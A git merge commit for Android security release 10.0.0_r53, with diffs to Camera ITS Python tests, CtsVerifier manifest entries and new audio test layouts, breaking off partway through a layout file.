Merge tag 'android-security-10.0.0_r53' into int/10/fp2

Android security 10.0.0 release 53

* tag 'android-security-10.0.0_r53': (26 commits)
  Revert "cts: testFlashTurnOff should allow FLASH_STATE_PARTIAL while turning flash off."
  Fix instructions for Device Owner Tests.
  CameraITS: use small yuv size in test_param_shading_modes
  Change SubMgrTest to use public methods instead of hidden ones
  Test restricted permission vs shared uid
  Verify that redacted MP4s are valid
  Update CtsCompilationTestCases binary
  Update prebuilt shim apexes with the release platform
  Revert "Revert "Updating EXPECTED_SDK_VERSION for Q""
  Moving the CTS Assets for Q to 29
  Bump CTS Verifier to 10_R1
  [DO NOT MERGE] Add tests for the direct action APIs - CTS
  Revert "Update CTS tests for the AppTarget.Builder API changes"
  Handle restricted permissions for shared UID components - CTS
  Added tests to verify relaxed nullability restrictions on setTintMode Drawable APIs
  Fix reading app ops data - CTS
  Revert "Verify correct lifecycle sequence for finished activity"
  Revert "Verify correct lifecycle sequence for finished activity"
  Revert "Create cts test for enabling/disabling backup on work profile."
  Revert "Update lifecycle tests for multi-resume"
  ...

Change-Id: I77840ccfe0d65ee299eaecb73a4df7cb756ade83
diff --git a/apps/CameraITS/pymodules/its/device.py b/apps/CameraITS/pymodules/its/device.py
index 3311318..5fdc567 100644
--- a/apps/CameraITS/pymodules/its/device.py
+++ b/apps/CameraITS/pymodules/its/device.py
@@ -85,6 +85,8 @@
     RESULT_VALUES = {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED}
     RESULT_KEY = 'result'
     SUMMARY_KEY = 'summary'
+    START_TIME_KEY = 'start'
+    END_TIME_KEY = 'end'
 
     adb = "adb -d"
     device_id = ""
diff --git a/apps/CameraITS/pymodules/its/objects.py b/apps/CameraITS/pymodules/its/objects.py
index 1f457f4..3c39205 100644
--- a/apps/CameraITS/pymodules/its/objects.py
+++ b/apps/CameraITS/pymodules/its/objects.py
@@ -12,16 +12,9 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-import os
-import os.path
-import sys
-import re
-import json
-import tempfile
-import time
-import unittest
-import subprocess
 import math
+import unittest
+
 
 def int_to_rational(i):
     """Function to convert Python integers to Camera2 rationals.
@@ -322,6 +315,23 @@
     return fmt
 
 
+def get_largest_jpeg_format(props, match_ar=None):
+    """Return a capture request and format spec for the largest jpeg size.
+
+    Args:
+        props:    the object returned from its.device.get_camera_properties().
+        match_ar: aspect ratio to match
+
+    Returns:
+        fmt:      an output format specification, for the largest possible jpeg
+        format for this device.
+    """
+    size = get_available_output_sizes("jpeg", props, match_ar_size=match_ar)[0]
+    fmt = {"format": "jpeg", "width": size[0], "height": size[1]}
+
+    return fmt
+
+
 def get_max_digital_zoom(props):
     """Returns the maximum amount of zooming possible by the camera device.
 
diff --git a/apps/CameraITS/tests/scene0/test_jitter.py b/apps/CameraITS/tests/scene0/test_jitter.py
index c75ee60..1bc0855 100644
--- a/apps/CameraITS/tests/scene0/test_jitter.py
+++ b/apps/CameraITS/tests/scene0/test_jitter.py
@@ -23,6 +23,7 @@
 from matplotlib import pylab
 
 # PASS/FAIL thresholds
+TEST_FPS = 30
 MIN_AVG_FRAME_DELTA = 30  # at least 30ms delta between frames
 MAX_VAR_FRAME_DELTA = 0.01  # variance of frame deltas
 MAX_FRAME_DELTA_JITTER = 0.3  # max ms gap from the average frame delta
@@ -39,6 +40,7 @@
                              its.caps.sensor_fusion(props))
 
         req, fmt = its.objects.get_fastest_manual_capture_settings(props)
+        req["android.control.aeTargetFpsRange"] = [TEST_FPS, TEST_FPS]
         caps = cam.do_capture([req]*50, [fmt])
 
         # Print out the millisecond delta between the start of each exposure
diff --git a/apps/CameraITS/tests/scene1/test_dng_noise_model.py b/apps/CameraITS/tests/scene1/test_dng_noise_model.py
index ba8fd7d..98efd4e 100644
--- a/apps/CameraITS/tests/scene1/test_dng_noise_model.py
+++ b/apps/CameraITS/tests/scene1/test_dng_noise_model.py
@@ -12,6 +12,7 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
+import math
 import os.path
 import its.caps
 import its.device
@@ -25,7 +26,7 @@
 DIFF_THRESH = 0.0012  # absolute variance delta threshold
 FRAC_THRESH = 0.2  # relative variance delta threshold
 NUM_STEPS = 4
-STATS_GRID = 49  # center 2.04% of image for calculations
+SENS_TOL = 0.97  # specification is <= 3%
 
 
 def main():
@@ -41,51 +42,42 @@
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
         props = cam.override_with_hidden_physical_camera_props(props)
-        its.caps.skip_unless(its.caps.raw(props) and
+        its.caps.skip_unless(
+                its.caps.raw(props) and
                 its.caps.raw16(props) and
                 its.caps.manual_sensor(props) and
                 its.caps.read_3a(props) and
                 its.caps.per_frame_control(props) and
                 not its.caps.mono_camera(props))
 
-        debug = its.caps.debug_mode()
-
         white_level = float(props['android.sensor.info.whiteLevel'])
         cfa_idxs = its.image.get_canonical_cfa_order(props)
-        aax = props['android.sensor.info.preCorrectionActiveArraySize']['left']
-        aay = props['android.sensor.info.preCorrectionActiveArraySize']['top']
-        aaw = props['android.sensor.info.preCorrectionActiveArraySize']['right']-aax
-        aah = props['android.sensor.info.preCorrectionActiveArraySize']['bottom']-aay
 
         # Expose for the scene with min sensitivity
-        sens_min, sens_max = props['android.sensor.info.sensitivityRange']
-        sens_step = (sens_max - sens_min) / NUM_STEPS
+        sens_min, _ = props['android.sensor.info.sensitivityRange']
+        sens_max_ana = props['android.sensor.maxAnalogSensitivity']
+        sens_step = (sens_max_ana - sens_min) / NUM_STEPS
         s_ae, e_ae, _, _, f_dist = cam.do_3a(get_results=True)
         s_e_prod = s_ae * e_ae
-        sensitivities = range(sens_min, sens_max, sens_step)
+        sensitivities = range(sens_min, sens_max_ana+1, sens_step)
 
         var_expected = [[], [], [], []]
         var_measured = [[], [], [], []]
-        x = STATS_GRID/2  # center in H of STATS_GRID
-        y = STATS_GRID/2  # center in W of STATS_GRID
+        sens_valid = []
         for sens in sensitivities:
-
             # Capture a raw frame with the desired sensitivity
             exp = int(s_e_prod / float(sens))
             req = its.objects.manual_capture_request(sens, exp, f_dist)
-            if debug:
-                cap = cam.do_capture(req, cam.CAP_RAW)
-                planes = its.image.convert_capture_to_planes(cap, props)
-            else:
-                cap = cam.do_capture(req, {'format': 'rawStats',
-                                           'gridWidth': aaw/STATS_GRID,
-                                           'gridHeight': aah/STATS_GRID})
-                mean_img, var_img = its.image.unpack_rawstats_capture(cap)
+            cap = cam.do_capture(req, cam.CAP_RAW)
+            planes = its.image.convert_capture_to_planes(cap, props)
+            s_read = cap['metadata']['android.sensor.sensitivity']
+            print 'iso_write: %d, iso_read: %d' % (sens, s_read)
 
             # Test each raw color channel (R, GR, GB, B)
             noise_profile = cap['metadata']['android.sensor.noiseProfile']
             assert len(noise_profile) == len(BAYER_LIST)
             for i in range(len(BAYER_LIST)):
+                print BAYER_LIST[i],
                 # Get the noise model parameters for this channel of this shot.
                 ch = cfa_idxs[i]
                 s, o = noise_profile[ch]
@@ -96,23 +88,43 @@
                 black_level = its.image.get_black_level(i, props,
                                                         cap['metadata'])
                 level_range = white_level - black_level
-                if debug:
-                    plane = ((planes[i] * white_level - black_level) /
-                             level_range)
-                    tile = its.image.get_image_patch(plane, 0.49, 0.49,
-                                                     0.02, 0.02)
-                    mean_img_ch = tile.mean()
-                    var_measured[i].append(
-                            its.image.compute_image_variances(tile)[0])
-                else:
-                    mean_img_ch = (mean_img[x, y, ch]-black_level)/level_range
-                    var_measured[i].append(var_img[x, y, ch]/level_range**2)
-                var_expected[i].append(s * mean_img_ch + o)
+                plane = its.image.get_image_patch(planes[i], 0.49, 0.49,
+                                                  0.02, 0.02)
+                tile_raw = plane * white_level
+                tile_norm = ((tile_raw - black_level) / level_range)
 
+                # exit if distribution is clipped at 0, otherwise continue
+                mean_img_ch = tile_norm.mean()
+                var_model = s * mean_img_ch + o
+                # This computation is a suspicious because if the data were
+                # clipped, the mean and standard deviation could be affected
+                # in a way that affects this check. However, empirically,
+                # the mean and standard deviation change more slowly than the
+                # clipping point itself does, so the check remains correct
+                # even after the signal starts to clip.
+                mean_minus_3sigma = mean_img_ch - math.sqrt(var_model) * 3
+                if mean_minus_3sigma < 0:
+                    e_msg = '\nPixel distribution crosses 0.\n'
+                    e_msg += 'Likely black level over-clips.\n'
+                    e_msg += 'Linear model is not valid.\n'
+                    e_msg += 'mean: %.3e, var: %.3e, u-3s: %.3e' % (
+                            mean_img_ch, var_model, mean_minus_3sigma)
+                    assert 0, e_msg
+                else:
+                    print 'mean:', mean_img_ch,
+                    var_measured[i].append(
+                            its.image.compute_image_variances(tile_norm)[0])
+                    print 'var:', var_measured[i][-1],
+                    var_expected[i].append(var_model)
+                    print 'var_model:', var_expected[i][-1]
+            print ''
+            sens_valid.append(sens)
+
+    # plot data and models
     for i, ch in enumerate(BAYER_LIST):
-        pylab.plot(sensitivities, var_expected[i], 'rgkb'[i],
+        pylab.plot(sens_valid, var_expected[i], 'rgkb'[i],
                    label=ch+' expected')
-        pylab.plot(sensitivities, var_measured[i], 'rgkb'[i]+'--',
+        pylab.plot(sens_valid, var_measured[i], 'rgkb'[i]+'.--',
                    label=ch+' measured')
     pylab.xlabel('Sensitivity')
     pylab.ylabel('Center patch variance')
@@ -122,7 +134,7 @@
     # PASS/FAIL check
     for i, ch in enumerate(BAYER_LIST):
         diffs = [abs(var_measured[i][j] - var_expected[i][j])
-                 for j in range(len(sensitivities))]
+                 for j in range(len(sens_valid))]
         print 'Diffs (%s):'%(ch), diffs
         for j, diff in enumerate(diffs):
             thresh = max(DIFF_THRESH, FRAC_THRESH*var_expected[i][j])
diff --git a/apps/CameraITS/tests/scene1/test_exposure.py b/apps/CameraITS/tests/scene1/test_exposure.py
index e536d42..a13f020 100644
--- a/apps/CameraITS/tests/scene1/test_exposure.py
+++ b/apps/CameraITS/tests/scene1/test_exposure.py
@@ -108,7 +108,7 @@
             assert 0 <= s_test - s_res < s_test * THRESH_ROUND_DOWN_GAIN, s_msg
             assert 0 <= e_test - e_res < e_test * thresh_round_down_exp, e_msg
             s_e_product_res = s_res * e_res
-            request_result_ratio = s_e_product / s_e_product_res
+            request_result_ratio = float(s_e_product) / s_e_product_res
             print 'Capture result s:', s_res, 'e:', e_res
             img = its.image.convert_capture_to_rgb_image(cap)
             its.image.write_image(img, '%s_mult=%3.2f.jpg' % (NAME, m))
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index 4d601e8..de134a7 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -84,7 +84,7 @@
     for ar_string in AR_CHECKED:
         match_ar = [float(x) for x in ar_string.split(":")]
         try:
-            f = its.objects.get_largest_yuv_format(props, match_ar=match_ar)
+            f = its.objects.get_largest_jpeg_format(props, match_ar=match_ar)
             if f["height"] > height_max:
                 height_max = f["height"]
             if f["width"] > width_max:
@@ -113,8 +113,8 @@
     return ar_scaling
 
 
-def find_yuv_fov_reference(cam, req, props):
-    """Determine the circle coverage of the image in YUV reference image.
+def find_jpeg_fov_reference(cam, req, props):
+    """Determine the circle coverage of the image in JPEG reference image.
 
     Args:
         cam:        camera object
@@ -131,7 +131,7 @@
     for ar in AR_CHECKED:
         match_ar = [float(x) for x in ar.split(":")]
         try:
-            f = its.objects.get_largest_yuv_format(props, match_ar=match_ar)
+            f = its.objects.get_largest_jpeg_format(props, match_ar=match_ar)
             fmt_dict[f["height"]*f["width"]] = {"fmt": f, "ar": ar}
         except IndexError:
             continue
@@ -143,16 +143,18 @@
     cap = cam.do_capture(req, fmt_dict[ar_max_pixels]["fmt"])
     w = cap["width"]
     h = cap["height"]
+    fmt = cap["format"]
+
     img = its.image.convert_capture_to_rgb_image(cap, props=props)
-    print "Captured %s %dx%d" % ("yuv", w, h)
-    img_name = "%s_%s_w%d_h%d.png" % (NAME, "yuv", w, h)
+    print "Captured %s %dx%d" % (fmt, w, h)
+    img_name = "%s_%s_w%d_h%d.png" % (NAME, fmt, w, h)
     _, _, circle_size = measure_aspect_ratio(img, False, img_name, True)
     fov_percent = calc_circle_image_ratio(circle_size[1], circle_size[0], w, h)
     ref_fov["fmt"] = fmt_dict[ar_max_pixels]["ar"]
     ref_fov["percent"] = fov_percent
     ref_fov["w"] = w
     ref_fov["h"] = h
-    print "Using YUV reference:", ref_fov
+    print "Using JPEG reference:", ref_fov
     return ref_fov
 
 
@@ -237,7 +239,7 @@
         # If raw capture is available, use it as ground truth.
         if raw_avlb:
             # Capture full-frame raw. Use its aspect ratio and circle center
-            # location as ground truth for the other jepg or yuv images.
+            # location as ground truth for the other jpeg or yuv images.
             print "Creating references for fov_coverage from RAW"
             out_surface = {"format": "raw"}
             cap_raw = cam.do_capture(req, out_surface)
@@ -311,9 +313,9 @@
                 ref_fov["h"] = h_raw
                 print "Using RAW reference:", ref_fov
             else:
-                ref_fov = find_yuv_fov_reference(cam, req, props)
+                ref_fov = find_jpeg_fov_reference(cam, req, props)
         else:
-            ref_fov = find_yuv_fov_reference(cam, req, props)
+            ref_fov = find_jpeg_fov_reference(cam, req, props)
 
         # Determine scaling factors for AR calculations
         ar_scaling = aspect_ratio_scale_factors(ref_fov["fmt"], props)
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index f825773..682d490 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -302,12 +302,6 @@
             assert False
         scenes = temp_scenes
 
-    # Initialize test results
-    results = {}
-    result_key = ItsSession.RESULT_KEY
-    for s in all_scenes:
-        results[s] = {result_key: ItsSession.RESULT_NOT_EXECUTED}
-
     # Make output directories to hold the generated files.
     topdir = tempfile.mkdtemp(dir=tmp_dir)
     subprocess.call(['chmod', 'g+rx', topdir])
@@ -398,6 +392,12 @@
             assert wake_code == 0
 
     for id_combo in camera_id_combos:
+        # Initialize test results
+        results = {}
+        result_key = ItsSession.RESULT_KEY
+        for s in all_scenes:
+            results[s] = {result_key: ItsSession.RESULT_NOT_EXECUTED}
+
         camera_fov = calc_camera_fov(id_combo.id, id_combo.sub_id)
         id_combo_string = id_combo.id;
         has_hidden_sub_camera = id_combo.sub_id is not None
@@ -415,6 +415,8 @@
         tot_tests = []
         tot_pass = 0
         for scene in scenes:
+            # unit is millisecond for execution time record in CtsVerifier
+            scene_start_time = int(round(time.time() * 1000))
             skip_code = None
             tests = [(s[:-3], os.path.join("tests", scene, s))
                      for s in os.listdir(os.path.join("tests", scene))
@@ -551,6 +553,9 @@
                 if test_failed:
                     summary += msg_short + "\n"
 
+            # unit is millisecond for execution time record in CtsVerifier
+            scene_end_time = int(round(time.time() * 1000))
+
             if numskip > 0:
                 skipstr = ", %d test%s skipped" % (
                     numskip, "s" if numskip > 1 else "")
@@ -580,6 +585,8 @@
             results[scene][result_key] = (ItsSession.RESULT_PASS if passed
                                           else ItsSession.RESULT_FAIL)
             results[scene][ItsSession.SUMMARY_KEY] = summary_path
+            results[scene][ItsSession.START_TIME_KEY] = scene_start_time
+            results[scene][ItsSession.END_TIME_KEY] = scene_end_time
 
         if tot_tests:
             print "Compatibility Score: %.f/100" % (100.0 * tot_pass / len(tot_tests))
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index b5af652..d65d3fa 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -102,7 +102,10 @@
                 android:label="@string/report_viewer" />
 
         <provider android:name=".TestResultsProvider"
-                android:authorities="com.android.cts.verifier.testresultsprovider" />
+                android:authorities="com.android.cts.verifier.testresultsprovider"
+                android:grantUriPermissions="true"
+                android:exported="true"
+                android:enabled="true" />
 
         <activity android:name=".admin.PolicySerializationTestActivity"
                 android:label="@string/da_policy_serialization_test"
@@ -1719,6 +1722,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_sensors"/>
             <meta-data android:name="test_required_features"
                        android:value="android.hardware.sensor.accelerometer"/>
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity android:name=".sensors.GyroscopeMeasurementTestActivity"
@@ -1731,6 +1736,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_sensors"/>
             <meta-data android:name="test_required_features"
                        android:value="android.hardware.sensor.gyroscope"/>
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive"/>
         </activity>
 
         <activity android:name=".sensors.HeartRateMonitorTestActivity"
@@ -2079,7 +2086,7 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_notifications" />
             <meta-data android:name="test_excluded_features"
-                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+                       android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
         </activity>
 
         <activity android:name=".notifications.AttentionManagementVerifierActivity"
@@ -2892,6 +2899,13 @@
             <meta-data android:name="test_required_features" android:value="android.software.managed_users:android.software.device_admin" />
         </activity>
 
+        <receiver
+            android:name=".managedprovisioning.ByodFlowTestActivity$ProvisioningCompleteReceiver">
+            <intent-filter>
+                <action android:name="android.app.action.MANAGED_PROFILE_PROVISIONED" />
+            </intent-filter>
+        </receiver>
+
         <activity android:name=".managedprovisioning.CompTestActivity"
                 android:launchMode="singleTask"
                 android:label="@string/comp_test">
@@ -3405,6 +3419,26 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.usb.host" />
         </activity>
 
+        <activity android:name=".audio.AudioFrequencyVoiceRecognitionActivity"
+                  android:label="@string/audio_frequency_voice_recognition_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_audio" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.usb.host" />
+        </activity>
+
+        <activity android:name=".audio.AudioAEC"
+                  android:label="@string/audio_aec_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_audio" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" />
+        </activity>
+
         <service android:name=".tv.MockTvInputService"
             android:permission="android.permission.BIND_TV_INPUT">
             <intent-filter>
diff --git a/apps/CtsVerifier/proguard.flags b/apps/CtsVerifier/proguard.flags
index d277c6b..85f378e 100644
--- a/apps/CtsVerifier/proguard.flags
+++ b/apps/CtsVerifier/proguard.flags
@@ -29,6 +29,9 @@
 
 -keepclasseswithmembers class * extends com.android.cts.verifier.location.LocationModeTestActivity
 
+-keepclasseswithmembers class * extends com.android.cts.verifier.audio.HifiUltrasoundSpeakerTestActivity
+-keepclasseswithmembers class * extends com.android.cts.verifier.audio.HifiUltrasoundTestActivity
+
 # keep mockito methods
 -keep class org.mockito.** { *; }
 -keep interface org.mockito.** { *; }
diff --git a/apps/CtsVerifier/res/layout/audio_aec_activity.xml b/apps/CtsVerifier/res/layout/audio_aec_activity.xml
new file mode 100644
index 0000000..83aa9cd
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_aec_activity.xml
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical"
+    style="@style/RootLayoutPadding">
+
+    <ScrollView
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:id="@+id/scrollView">
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical">
+
+            <TextView
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:scrollbars="vertical"
+                    android:gravity="bottom"
+                    android:id="@+id/audio_aec_mandatory_info"
+                    android:text="@string/audio_aec_mandatory_test" />
+
+            <LinearLayout
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:orientation="horizontal" >
+
+                <Button
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:id="@+id/audio_aec_mandatory_no"
+                        android:text="@string/af_no" />
+                <Button
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:id="@+id/audio_aec_mandatory_yes"
+                        android:text="@string/af_yes" />
+            </LinearLayout>
+
+            <LinearLayout
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:orientation="vertical"
+                    android:id="@+id/audio_aec_test_layout" >
+
+                <View
+                        android:layout_width="match_parent"
+                        android:layout_height="1dp"
+                        android:background="?android:colorAccent" />
+
+                <TextView
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:scrollbars="vertical"
+                        android:gravity="bottom"
+                        android:text="@string/audio_aec_instructions"
+                        android:id="@+id/audio_aec_instructions" />
+
+                <Button
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:soundEffectsEnabled="false"
+                        android:text="@string/af_button_test"
+                        android:id="@+id/audio_aec_button_test" />
+                <ProgressBar
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:layout_weight="1"
+                        android:id="@+id/audio_aec_test_progress_bar" />
+
+                <TextView
+                        android:layout_width="match_parent"
+                        android:layout_height="wrap_content"
+                        android:text="@string/af_test_results"
+                        android:id="@+id/audio_aec_test_result" />
+            </LinearLayout>
+
+            <include layout="@layout/pass_fail_buttons" />
+        </LinearLayout>
+    </ScrollView>
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_frequency_voice_recognition_activity.xml b/apps/CtsVerifier/res/layout/audio_frequency_voice_recognition_activity.xml
new file mode 100644
index 0000000..c6cd0cd
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_frequency_voice_recognition_activity.xml
@@ -0,0 +1,303 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical"
+    style="@style/RootLayoutPadding">
+
+    <ScrollView
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:id="@+id/scrollView">
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical">
+
+            <LinearLayout
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:orientation="vertical"
+                android:id="@+id/vr_layout_test_tone">
+
+                <View
+                    android:layout_width="match_parent"
+                    android:layout_height="1dp"
+                    android:background="?android:colorAccent" />
+
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:scrollbars="vertical"
+                    android:gravity="bottom"
+                    android:text="@string/vr_test_tone_instructions"
+                    android:id="@+id/vr_test_tone_instructions" />
+
+                <LinearLayout
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:orientation="horizontal">
+
+                    <LinearLayout
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="2">
+
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/af_button_test"
+                            android:id="@+id/vr_button_test_tone" />
+                        <ProgressBar
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:layout_weight="1"
+                            android:id="@+id/vr_test_tone_progress_bar" />
+
+                    </LinearLayout>
+
+                    <View
+                        android:layout_width="1dp"
+                        android:layout_height="match_parent"
+                        android:background="?android:colorAccent" />
+
+                    <LinearLayout
+                        android:layout_width="0dp"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="1">
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/af_button_play"
+                            android:id="@+id/vr_button_play_tone" />
+                    </LinearLayout>
+                </LinearLayout>
+                <TextView
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:text="@string/af_test_results"
+                    android:id="@+id/vr_test_tone_result" />
+            </LinearLayout>
+
+            <LinearLayout
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:orientation="vertical"
+                android:id="@+id/vr_layout_test_noise">
+
+                <View
+                    android:layout_width="match_parent"
+                    android:layout_height="1dp"
+                    android:background="?android:colorAccent" />
+
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:scrollbars="vertical"
+                    android:gravity="bottom"
+                    android:text="@string/vr_test_noise_instructions"
+                    android:id="@+id/vr_test_noise_instructions" />
+
+                <LinearLayout
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:orientation="horizontal">
+
+                    <LinearLayout
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="2">
+
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/af_button_test"
+                            android:id="@+id/vr_button_test_noise" />
+                        <ProgressBar
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:layout_weight="1"
+                            android:id="@+id/vr_test_noise_progress_bar" />
+                    </LinearLayout>
+
+                    <View
+                        android:layout_width="1dp"
+                        android:layout_height="match_parent"
+                        android:background="?android:colorAccent" />
+
+                    <LinearLayout
+                        android:layout_width="0dp"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="1">
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/af_button_play"
+                            android:id="@+id/vr_button_play_noise" />
+                    </LinearLayout>
+                </LinearLayout>
+                <TextView
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:text="@string/af_test_results"
+                    android:id="@+id/vr_test_noise_result" />
+            </LinearLayout>
+
+        <LinearLayout
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:orientation="vertical"
+                android:id="@+id/vr_layout_test_usb_background">
+
+                <View
+                    android:layout_width="match_parent"
+                    android:layout_height="1dp"
+                    android:background="?android:colorAccent" />
+
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:scrollbars="vertical"
+                    android:gravity="bottom"
+                    android:text="@string/vr_test_usb_background_instructions"
+                    android:id="@+id/vr_test_usb_background_instructions" />
+
+                <LinearLayout
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:orientation="horizontal">
+
+                    <LinearLayout
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="2">
+
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/af_button_test"
+                            android:id="@+id/vr_button_test_usb_background" />
+                        <ProgressBar
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:layout_weight="1"
+                            android:id="@+id/vr_test_usb_background_progress_bar" />
+                    </LinearLayout>
+                </LinearLayout>
+                <TextView
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:text="@string/af_test_results"
+                    android:id="@+id/vr_test_usb_background_result" />
+            </LinearLayout>
+
+            <LinearLayout
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:orientation="vertical"
+                android:id="@+id/vr_layout_test_usb_noise">
+
+                <View
+                    android:layout_width="match_parent"
+                    android:layout_height="1dp"
+                    android:background="?android:colorAccent" />
+
+                <TextView
+                    android:layout_width="wrap_content"
+                    android:layout_height="wrap_content"
+                    android:scrollbars="vertical"
+                    android:gravity="bottom"
+                    android:text="@string/vr_test_usb_noise_instructions"
+                    android:id="@+id/vr_test_usb_noise_instructions" />
+
+                <LinearLayout
+                    android:layout_width="match_parent"
+                    android:layout_height="wrap_content"
+                    android:orientation="horizontal">
+
+                    <LinearLayout
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:orientation="vertical"
+                        android:layout_weight="2">
+
+                        <Button
+                            android:layout_width="wrap_content"
+                            android:layout_height="wrap_content"
+                            android:soundEffectsEnabled="false"
+                            android:text="@string/af_button_test"
+                            android:id="@+id/vr_button_test_usb_noise" />
+                        <ProgressBar
+                            android:layout_width="wrap_content"
